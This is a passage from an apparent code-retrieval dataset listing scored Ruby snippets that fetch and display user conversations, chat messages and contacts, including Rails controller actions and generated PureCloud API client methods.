post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7ad1ec8c7ce5f3c5f4f03af1e132da94",
"score": "0.5851212",
"text": "def get_all_channels\n user_id = current_user.id\n user_channels=Chatbox.uniq.where(:user_id => user_id).pluck(:channel)\n return user_channels \n end",
"title": ""
},
{
"docid": "c7024809d43270315f18aa2b0b37f9f2",
"score": "0.58223987",
"text": "def get_conversation(user)\n cnv = self.conversations.where(id: user.conversations.where(multiple_users_flag: false).select(:id), multiple_users_flag: false).first\n if cnv.nil?\n cnv = Conversation.create(cnv_users: [self.id, user.id], name: user.name, multiple_users_flag: false)\n end\n return cnv\n end",
"title": ""
},
{
"docid": "eb7f26b47da4e482fba8f8e50a5eb0fa",
"score": "0.5818147",
"text": "def index\n @users = User.all #to list all the registered users\n @conversations = Conversation.all\n \t\n end",
"title": ""
},
{
"docid": "c96b0bee65a47cf16ddf847da25c8e16",
"score": "0.58114773",
"text": "def get_chat_all_using_get(opts = {})\n data, _status_code, _headers = get_chat_all_using_get_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "eb2d632264777eb0a140f3cbdc9d33dd",
"score": "0.5811441",
"text": "def list\n convos_for_json = []\n conversations = (Conversation.where(buyer_id: @current_user.id).all + Conversation.where(seller_id: @current_user.id).all).sort_by(&:updated_at).reverse!\n conversations.each do |conversation|\n other_user = conversation.seller\n is_seller = false\n if other_user.id == @current_user.id\n other_user = conversation.buyer\n is_seller = true\n end\n prev_message = conversation.messages.last\n convo_for_json = {\n id: conversation.id,\n user_id_of_other: other_user.id,\n username_of_other: other_user.username,\n first_name_of_other: other_user.first_name,\n last_name_of_other: other_user.last_name,\n is_seller: is_seller,\n\t\t num_unread: conversation.messages.count - ((is_seller)? conversation.seller_marker : conversation.buyer_marker),\n other_user: {\n id: other_user.id,\n username: other_user.username,\n first_name: other_user.first_name,\n last_name: other_user.last_name\n },\n offer: {\n id: conversation.offer.id,\n price: conversation.offer.price\n },\n product: {\n id: conversation.offer.product.id,\n product_name: conversation.offer.product.product_name,\n price: conversation.offer.product.price\n },\n prev_message: prev_message ? {\n user_id: prev_message.user_id,\n message: prev_message.message,\n created_at: prev_message.created_at\n } : nil\n }\n convos_for_json << convo_for_json\n end\n render status: 200, json: {conversations: convos_for_json}\n end",
"title": ""
},
{
"docid": "4b1ad4432ce9f5f09805a4499d3d56e3",
"score": "0.5802774",
"text": "def call\n all_private_conversations = Private::Conversation.all_by_user(@user.id)\n .includes(:messages)\n all_group_conversations = @user.group_conversations.includes(:messages)\n all_conversations = all_private_conversations + all_group_conversations\n\n ##filtered_conversations = []\n\n ##all_conversations.each do |conv|\n ## empty_conversations << conv if conv.messages.last\n ##end\n\n ##filtered_conversations = filtered_conversations.sort{ |a, b|\n ## b.messages.last.created_at <=> a.messages.last.created_at\n ##}\n\n return all_conversations\n end",
"title": ""
},
{
"docid": "a3df3e4218010eeb0816dd5f95c3f841",
"score": "0.57946783",
"text": "def index\n #@messages = Message.all\n #@messages = current_owner.messages\n @users = current_owner.conversation_users\n end",
"title": ""
},
{
"docid": "3e5723dc18d6d54e52e57d37903210e0",
"score": "0.57801294",
"text": "def get_conversation_participants(id)\r\n #TODO: Test if this method needs data in options.\r\n @client.raw('get', \"/content/conversations/#{id}/participants\", nil, nil, @contact_v1_url)\r\n end",
"title": ""
},
{
"docid": "6ca2f41ea146711d2915880013a7ae13",
"score": "0.5771331",
"text": "def index\n # @conversations = Conversation.all\n @conversations = current_user.conversations\n end",
"title": ""
},
{
"docid": "b23a4860f3d1432f94f3f24d185ee724",
"score": "0.5766836",
"text": "def conversation\n current_user_id = current_user.id\n other_user_id = params[:id]\n @messages = Message.get_conversation(current_user_id, other_user_id)\n render json: @messages\n end",
"title": ""
},
{
"docid": "3170599519145b0467651774b1140842",
"score": "0.5731584",
"text": "def index\n @users = User.all \n @conversations = Conversation.all\n end",
"title": ""
},
{
"docid": "82a457213612802536fca06eacfeccc5",
"score": "0.57182825",
"text": "def get_all_data\n init_data\n\n Bot::DB[my_name]\n end",
"title": ""
},
{
"docid": "82a457213612802536fca06eacfeccc5",
"score": "0.57182825",
"text": "def get_all_data\n init_data\n\n Bot::DB[my_name]\n end",
"title": ""
},
{
"docid": "3a9d424266ab89fc6089db87676594a3",
"score": "0.5711822",
"text": "def games\n @users = User.all\n @conversation = Conversation.new\n end",
"title": ""
},
{
"docid": "bad8716f6fa293477d43fe05a1884412",
"score": "0.57057756",
"text": "def conversations\n Conversation.where(\"sender_id = ? or recipient_id = ?\",self.id,self.id)\n end",
"title": ""
},
{
"docid": "05bf149588d39b66757814f56aed90a7",
"score": "0.56836647",
"text": "def get_specific_conversations usr, c_type \n conv_ids = Array.new\n convos = Conversation.get_conversations(usr)\n convos.find_each do |convo|\n convo.posts.find_each do |post|\n if (c_type == \"received\" && post.recipient_id == usr.id && post.recipient_status == 'active') ||\n (c_type == \"sent\" && post.user_id == usr.id && post.status == 'active')\n conv_ids << convo.id if usr_msg?(convo, usr); break\n end\n end\n end\n return convos.where([\"id in (?)\", conv_ids]).sort_by {|x| x.posts.last.created_at }.reverse \n end",
"title": ""
},
{
"docid": "890fdb4c251956a0ba2b0b55f3c08052",
"score": "0.56813335",
"text": "def index\n @conversations = current_profile.conversations\n\n end",
"title": ""
},
{
"docid": "87f4be069134cc72a79ef4e4be6c024d",
"score": "0.56272215",
"text": "def conversations\n Conversation.where(\"sender_id = ? OR recipient_id = ?\", id,id)\n end",
"title": ""
},
{
"docid": "a78b291700cc90bdb40ec4a774b722ba",
"score": "0.56233877",
"text": "def get_conversations_messages_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_messages ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/conversations/messages\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'MessageConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_messages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "9e9567f5e4c88a7c5a34461903e77fe6",
"score": "0.56211996",
"text": "def getContacts\n messages = [] \n \n if !self.received_messages.nil?\n messagesRecv = (self.received_messages.order(:updated_at)).reverse \n\t messagesRecv.each do |recv|\n\t user = User.find(recv.sender_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n if !self.send_messages.nil?\n messagesSend = (self.send_messages.order(:updated_at)).reverse \n\t messagesSend.each do |send|\n\t user = User.find(send.receiver_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n\t return messages\n end",
"title": ""
},
{
"docid": "4b9b2e87f19d643057a6e32609fa636c",
"score": "0.5582412",
"text": "def show\n @user = User.find(params[:id])\n gon.user_id = @user.id\n gon.conversations = @user.conversations.select(\"name\").map(&:name)\n end",
"title": ""
},
{
"docid": "be7290ab88c57869559e8ae16a9ca244",
"score": "0.5582356",
"text": "def get_conversations_calls(opts = {})\n data, _status_code, _headers = get_conversations_calls_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "1aff81cf140b8d7116186b6ec2f3637e",
"score": "0.55762833",
"text": "def get_conversation(id)\n get(\"conversations/#{id}\")\n end",
"title": ""
},
{
"docid": "8587971c2e3c9386cb0399e7656cde64",
"score": "0.55668736",
"text": "def counseling_conversations\n Conversation.single_conversations_between(id, User.all_mentors.pluck(:id) - [id])\n end",
"title": ""
},
{
"docid": "d1b8f522121eb664dc34e3608739659b",
"score": "0.5553589",
"text": "def index\n @h = {}\n @user = []\n convo1 = Conversation.where(:sender_id => current_user.id)\n convo2 = Conversation.where(:recipient_id => current_user.id)\n convo1.each do |u|\n h1 = {}\n h1[\"id\"] = u.recipient_id\n messages = Message.where(:conversation_id => u.id).order(:created_at).last\n h1[\"time\"] = messages.created_at\n h1[\"message\"] = messages.body\n @user.push(u.recipient.username)\n @h[u.recipient.username] = h1\n end\n convo2.each do |u|\n if @h.key?(u.sender.username)\n messages = Message.where(:conversation_id => u.id).order(:created_at).last\n if messages.created_at > @h[u.sender.username][\"time\"]\n @h[u.sender.username][\"message\"] = messages.body\n end\n else\n h1={}\n h1[\"id\"] = u.sender_id\n messages = Message.where(:conversation_id => u.id).order(:created_at).last\n h1[\"time\"] = messages.created_at\n h1[\"message\"] = messages.body\n @user.push(u.sender.username)\n @h[u.sender.username] = h1\n end\n end\n @conversations = Conversation.all\n end",
"title": ""
},
{
"docid": "b0463b476523201a5d31c94f23ba782e",
"score": "0.55499864",
"text": "def get_conversations_calls_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_calls ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/conversations/calls\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CallConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_calls\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4307a84cbecee9a41ed41ae14f229ea7",
"score": "0.5534377",
"text": "def index\n\t\t@conversations = current_user.mailbox.conversations\n\tend",
"title": ""
},
{
"docid": "39da5552c5c0eb555d4bcd9206222377",
"score": "0.55247355",
"text": "def fetch\n messages = paginate ConversationMessage.where(conversation_id: params[:conversation_id])\n .order('created_at DESC')\n render json: messages.to_json(:include => :user)\n end",
"title": ""
},
{
"docid": "4c77f22c8f4dcf2e7d1bf581032a8d18",
"score": "0.5521483",
"text": "def find_new_conversations\n #get chat rooms users where last_viewed is nil\n user_rooms = ChatRoomsUser.where(\"user_id = ?\", current_user.id)\n new_rooms = Array.new\n user_rooms.each do |room|\n if room.last_viewed.nil?\n new_rooms << ChatRoom.find_by(id: room.chat_room_id)\n end\n end\n new_rooms\n end",
"title": ""
},
{
"docid": "9fa5fbace1061231fbde0aa286b848a6",
"score": "0.550469",
"text": "def get_data_words_each_week_social\n\n # Append user string \n data_string = \"-1\"\n data_string = data_string + \"|\" + get_data_words_each_week\n\n # Append friend strings\n #invites.find( :all, :conditions => { :host_user => id } ).each do |invite|\n Invite.find( :all, :conditions => { :host_user => id } ).each do |invite|\n \n if( invite.accepted && invite.active )\n #friend = invite.users[0]\n friend = User.find( invite.target_user )\n data_string = data_string + \"|\" + \"-1\" + \"|\" + friend.get_data_words_each_week\n end\n \n end\n \n return data_string\nend",
"title": ""
},
{
"docid": "41f0fbc7448d85fd7bf7645021488ca2",
"score": "0.5490176",
"text": "def get_all_user_data\n load_user_data(nil)\n end",
"title": ""
},
{
"docid": "249c5a66cd4824463eb4e7ab7cdbd90a",
"score": "0.54798734",
"text": "def get_conversation_members(conversation_id)\n uri = \"/v3/conversations/#{conversation_id}/activities/members\"\n api_get(uri, opts)\n end",
"title": ""
},
{
"docid": "60719597de2618c56a65a79880fc8202",
"score": "0.5478393",
"text": "def all_read_broadcast_messages(period_data = nil)\n res = across_messages.joins(:conversation)\n .joins('LEFT JOIN \"conversation_members\" ON \"conversations\".\"id\" = \"conversation_members\".\"conversation_id\"')\n .where('messages.created_at < COALESCE(conversation_members.last_seen, conversation_members.created_at)')\n .where('conversation_members.user_id != broadcast_messages.user_id')\n .uniq\n return res unless period_data\n range, daily_report = period_data.to_s.report_period_to_range\n range.map{|d| [d.strftime(daily_report ? '%d' : '%Y-%m'), res.where(broadcast_messages: {created_at: d.beginning_of_day..(daily_report ? d.end_of_day : d.end_of_month.end_of_day)}).count('messages.id')] }.to_h\n end",
"title": ""
},
{
"docid": "70342c3eaaa43d874506cd30bf1f2b21",
"score": "0.5477167",
"text": "def all_for(user)\n self.includes(:chat_participations).where(chat_participations: {user_id: user.id})\n end",
"title": ""
},
{
"docid": "f19df2a1aae7a5d8642ed3db4e99a1e4",
"score": "0.5476697",
"text": "def messages\n proxy_exceptions do\n @page.conversations.map do |conversation|\n conversation.messages.map do |data|\n Services::Facebook::Message.new do |message|\n message.id = data.identifier\n message.message = data.message\n message.created_at = data.created_time\n message.author = Services::Facebook::User.new do |user|\n user.id = data.from.identifier\n user.name = data.from.name\n end\n end\n end\n end.flatten\n end\n end",
"title": ""
},
{
"docid": "6d270f96b59231f7bb5b729ed7236acd",
"score": "0.54662734",
"text": "def system_conversations\n system.conversations\n end",
"title": ""
},
{
"docid": "b01a9e470903c6f6e0b604e409160678",
"score": "0.5463934",
"text": "def get_data_words_every_week_social\n\n # Append user string \n data_string = \"-1\"\n data_string = data_string + \"|\" + get_data_words_every_week\n\n # Append friend strings\n #invites.find( :all, :conditions => { :host_user => id } ).each do |invite|\n Invite.find( :all, :conditions => { :host_user => id } ).each do |invite|\n \n if( invite.accepted && invite.active )\n #friend = invite.users[0]\n friend = User.find( invite.target_user )\n data_string = data_string + \"|\" + \"-1\" + \"|\" + friend.get_data_words_every_week\n end\n \n end\n\n return data_string\nend",
"title": ""
},
{
"docid": "c4893f011c6c630f02c957d5a54d6f20",
"score": "0.54489934",
"text": "def get_messages\n \tuser = User.find(params[:user_id]);\n \tif user\n \t\tmessages = Message.where(message_type: user.user_type)\n \t\tconversation = Conversation.where(request_id: params[:request_id])\n texts = []\n conversation.each{ |msg| texts.push(Message.find_by(id: msg.message_id) ? Message.find(msg.message_id) : {})}\n \t\trender json: {messages: messages, conversation: conversation, texts: texts}\n \telse\n\t\trender json: {error: 'User not found.'}\n \tend\n end",
"title": ""
},
{
"docid": "a14e7d09d50f3893520f5010056c552e",
"score": "0.5439066",
"text": "def people(convo)\n @recipients = convo.conversation.users.where('user_id <> ?', current_user)\n end",
"title": ""
},
{
"docid": "ab2c0bcda5fd93afdef97c207d0bddd0",
"score": "0.5417229",
"text": "def set_conversations\n conversations = Conversation.where(\n \"user1_id = :current_user_id OR user2_id =:current_user_id\",\n current_user_id: current_user.id\n )\n\n @conversations = conversations.sort_by do |conversation|\n last_message = conversation.last_message\n\n if last_message\n last_message.created_at\n else\n Time.zone.now\n end\n end\n\n @conversations.reverse!\n end",
"title": ""
},
{
"docid": "5fe2c1fe904aefe0b62ff0ba60c91031",
"score": "0.54160154",
"text": "def get_analytics_conversations_details_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_analytics_conversations_details ...\"\n end\n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/analytics/conversations/details\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AnalyticsConversationWithoutAttributesMultiGetResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_analytics_conversations_details\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ee2b78d8a416e44befc526690abaa8c8",
"score": "0.54136044",
"text": "def index\n @title = 'Conversation'\n @users = User.all\n @conversations = Conversation.all\n end",
"title": ""
},
{
"docid": "c91b77e6de7981b26ef3f1621515ee9d",
"score": "0.5409786",
"text": "def get_analytics_conversations_details_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AnalyticsApi.get_analytics_conversations_details ...\"\n end\n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/analytics/conversations/details\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AnalyticsConversationWithoutAttributesMultiGetResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AnalyticsApi#get_analytics_conversations_details\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "99fdc65e49dbef5271f9b24974aaf9ec",
"score": "0.538588",
"text": "def get_data_words_this_week_social\n\n # Append user string \n data_string = \"-1\"\n data_string = data_string + \"|\" + get_data_words_this_week\n\n # Append friend strings\n #invites.find( :all, :conditions => { :host_user => id } ).each do |invite|\n Invite.find( :all, :conditions => { :host_user => id } ).each do |invite|\n \n if( invite.accepted && invite.active)\n #friend = invite.users[0]\n friend = User.find( invite.target_user )\n data_string = data_string + \"|\" + \"-1\" + \"|\" + friend.get_data_words_this_week\n end\n \n end\n\n return data_string\nend",
"title": ""
},
{
"docid": "21aae98b0c44d9fa36a8bd41d4e23cce",
"score": "0.5376851",
"text": "def get_user_dms\n request(Route.new(:GET, '/users/@me/channels'))\n end",
"title": ""
},
{
"docid": "5976f35daa1ec0d434ad871952d75fa8",
"score": "0.53594303",
"text": "def sent_message\n\t\t@current_user_conversations = Conversation.where('sender_id = ?',current_user.id)\n\t\t# @sent_messages = current_user_conversations.first.messages\n\t\t@sent_messages = []\n\t\t@current_user_conversations.each do |current_user_conversation|\n\t\t\t# @test_sent_messages = current_user_conversation.messages.map {|message| message}\n\t\t\tcurrent_user_conversation.messages.each do |message|\n\t\t\t\t@sent_messages << message\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c21bca608558963813cc79ae27b37d50",
"score": "0.5354902",
"text": "def get_user_campaigns username, password\n do_request 'get_user_campaigns', username: username, password: password\n end",
"title": ""
},
{
"docid": "bf58bba6ad95a11a481f62ee83fba0b3",
"score": "0.53540295",
"text": "def get_chat_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SupportApi.get_chat_all_using_get ...'\n end\n # resource path\n local_var_path = '/chat'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageChatInfo')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SupportApi#get_chat_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "fd1777e5e129976d2eb22b8eefd833bc",
"score": "0.53333116",
"text": "def index\n if current_user.seller?\n @conversations = current_user.seller.company.conversations\n else\n @conversations = current_user.conversations\n end\n end",
"title": ""
},
{
"docid": "8b936db3c537cb3a82d45aac4878dff5",
"score": "0.5332561",
"text": "def get_conversations_callbacks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_callbacks ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/conversations/callbacks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CallbackConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_callbacks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "b9e81db7a48b9c08053b7a52dbf77530",
"score": "0.5318781",
"text": "def conversation_participant_ids\n self.conversation ?\n self.conversation.participant_ids + [self.conversation.user_id] : []\n end",
"title": ""
},
{
"docid": "c1c52abab56a09835355c6cf1048fc9b",
"score": "0.5297381",
"text": "def show\n unless params[:conversation_id]\n render json: { success: 'no', msg: 'not enough info' }\n return\n end\n if !Direct.exists?(conversation_id: params[:conversation_id]) & !Group.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'convo does not exist' }\n return\n end\n unless Message.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'no messages' }\n return\n end\n\n allMsgs = Array.new\n Message.where(conversation_id: params[:conversation_id]).find_each do |message|\n senderNickname = UserProfile.find_by(user_id: message.sender_id).nick_name\n senderEmail = User.find_by(user_id: message.sender_id).email\n output = { :conversation_id => message.conversation_id, :sender_nickname => senderNickname , :sender_email => senderEmail, :message_body => message.message_body, :updated_at => message.updated_at }\n\n allMsgs.push(output)\n end\n\n render json: { success: 'ok', messageList: allMsgs }\n end",
"title": ""
},
{
"docid": "54f6c2bbb78e0979064a6d358fd150cd",
"score": "0.52855384",
"text": "def index\n @conversations = Conversation.where(contype: \"OneToMany\", sender_id: current_member.id).order(name: :asc)\n end",
"title": ""
},
{
"docid": "3d1875fbc34eb927aae590fb60c7d0a2",
"score": "0.5281083",
"text": "def get_chat_messages\n # get chat messages\n chats = Message.includes(:user).where(receiver_id: @current_user.id, user_id: params[:user_id], request_id: params[:request_id]).or(Message.includes(:user).where(user_id: @current_user.id, receiver_id: params[:user_id], request_id: params[:request_id])).order(created_at: :asc)\n if chats.any?\n render json: chats, :include => {\n :user => {\n :only => [:id, :firstname, :lastname]\n },\n },\n status: :ok\n else\n render json: {\n status: 'no-content',\n message: 'No chat on this request yet'\n },\n status: :no_content\n end\n end",
"title": ""
},
{
"docid": "46332f460e0fef10e4bb84200a06448b",
"score": "0.52779675",
"text": "def get_all_tournaments\n\t\ttc = new_sub(@discovery['tournaments'])\n\t\ttc.poll[:messages].map {|x| JSON.parse(x.content) rescue nil}.compact\n\tend",
"title": ""
},
{
"docid": "51c32471bf9be7ba871affdd6a9b816f",
"score": "0.5257305",
"text": "def get_conversation_comments(conversation_id)\n list(\"conversations/#{conversation_id}/comments\")\n end",
"title": ""
},
{
"docid": "52d4de0488c52247310ef0a41c124e50",
"score": "0.5233949",
"text": "def get_friends_list\n # Append user string \n data_string = twitter\n\n # Append friend strings\n Invite.find( :all, :conditions => { :host_user => id } ).each do |invite|\n \n if( invite.accepted && invite.active )\n #friend = invite.users[0]\n friend = User.find( invite.target_user )\n data_string = data_string + \"|\" + friend.twitter\n end\n \n end \n \n return data_string\nend",
"title": ""
},
{
"docid": "69526a9ede2745b7b5a1a95bbe03d990",
"score": "0.52262664",
"text": "def language_data(username)\n user_langs = @ghuls.get_user_langs(@opts[:get])\n increment\n org_langs = @ghuls.get_org_langs(@opts[:get])\n increment\n if !user_langs.empty?\n puts \"Getting language data for #{username}...\"\n user_percents = @ghuls.get_language_percentages(user_langs)\n output(user_percents)\n else\n puts 'Could not find any personal data to analyze.'\n end\n if !org_langs.empty?\n puts 'Getting language data for their organizations...'\n org_percents = @ghuls.get_language_percentages(org_langs)\n output(org_percents)\n else\n puts 'Could not find any organization data to analyze.'\n end\n\n return if org_langs.empty? && user_langs.empty?\n\n user_langs.update(org_langs) { |_, v1, v2| v1 + v2 }\n puts 'Getting combined language data...'\n output(@ghuls.get_language_percentages(user_langs))\n end",
"title": ""
},
{
"docid": "bb076cea5cd42b6fe8f98be1dbaa1704",
"score": "0.5225548",
"text": "def get_analytics_conversations_details(opts = {})\n data, _status_code, _headers = get_analytics_conversations_details_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "bb076cea5cd42b6fe8f98be1dbaa1704",
"score": "0.5225548",
"text": "def get_analytics_conversations_details(opts = {})\n data, _status_code, _headers = get_analytics_conversations_details_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "e9c2b31648deac02efe4ff841bc50885",
"score": "0.52171385",
"text": "def list_user_communication_channels(user_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"user_id is required\" if user_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :user_id => user_id\n )\n\n # resource path\n path = path_replace(\"/v1/users/{user_id}/communication_channels\",\n :user_id => user_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response.map {|response|CommunicationChannel.new(response)}\n end",
"title": ""
},
{
"docid": "265f5e235ae180e8fe6c78babceade28",
"score": "0.52146655",
"text": "def get_conversations_chat_messages_with_http_info(conversation_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_chat_messages ...\"\n end\n \n \n # verify the required parameter 'conversation_id' is set\n fail ArgumentError, \"Missing the required parameter 'conversation_id' when calling ConversationsApi.get_conversations_chat_messages\" if conversation_id.nil?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if opts[:'sort_order'] && !['ascending', 'descending'].include?(opts[:'sort_order'])\n fail ArgumentError, 'invalid value for \"sort_order\", must be one of ascending, descending'\n end\n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/chats/{conversationId}/messages\".sub('{format}','json').sub('{' + 'conversationId' + '}', conversation_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'after'] = opts[:'after'] if opts[:'after']\n query_params[:'before'] = opts[:'before'] if opts[:'before']\n query_params[:'sortOrder'] = opts[:'sort_order'] if opts[:'sort_order']\n query_params[:'maxResults'] = opts[:'max_results'] if opts[:'max_results']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => 